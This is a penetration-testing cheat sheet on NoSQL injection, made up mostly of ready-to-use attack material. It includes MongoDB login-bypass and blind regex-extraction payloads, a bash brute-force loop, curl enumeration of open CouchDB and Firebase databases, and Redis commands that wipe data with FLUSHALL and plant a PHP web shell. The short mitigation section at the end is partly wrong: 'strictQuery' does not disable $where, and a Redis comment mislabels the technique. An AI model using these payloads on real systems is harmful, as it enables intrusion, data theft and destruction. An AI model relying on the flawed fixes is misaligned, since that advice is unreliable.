NoSQL Injection

// Vulnerable: db.users.findOne({user: req.body.user, pass: req.body.pass})
POST /login
{"user": {"$ne": null}, "pass": {"$ne": null}}      // returns first user
{"user": "admin", "pass": {"$gt": ""}}              // admin if pw exists
{"user": "admin", "pass": {"$regex": "^A"}}         // blind char extraction

{"$where": "this.user == 'admin' && sleep(5000)"}   // time-based
{"$where": "function() { return this.user.length > 0 && this.user.match(/^a/) }"}

# Burp Intruder w/ payload list
for char in {a..z}; do
  curl -s -X POST $TARGET/login \
    -d "{\"user\":\"admin\",\"pass\":{\"\$regex\":\"^${char}\"}}" \
    | grep -q "success" && echo "char: $char"
done

# Admin party (no auth required)
curl http://target:5984/_all_dbs
curl http://target:5984/_users/_all_docs
# Then read/modify any document

# Public-read databases (most common misconfig)
curl https://YOUR-FIREBASE-PROJECT.firebaseio.com/.json
# Returns entire DB if rules are "true"

# Unauth Redis (still common on internal nets, occasionally exposed)
redis-cli -h target -p 6379 INFO
# Module loading attack if running as root + module dir writable
redis-cli -h target FLUSHALL
redis-cli -h target SET dir /var/www/html
redis-cli -h target SET dbfilename shell.php
redis-cli -h target SET payload "<?php system($_GET['c']); ?>"
redis-cli -h target SAVE

# Mongo auth bypass via curl
curl -s -X POST $TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": null}, "password": {"$ne": null}}' \
  | jq

# If logged-in-as-admin → critical

// Sanitize/typecheck before query
if (typeof req.body.user !== 'string') return res.status(400).send();
if (typeof req.body.pass !== 'string') return res.status(400).send();

// Or use parameterized queries / Mongo ODM (Mongoose schemas)
User.findOne({user: req.body.user}).select('+password');

// Disable $where globally
mongoose.set('strictQuery', true);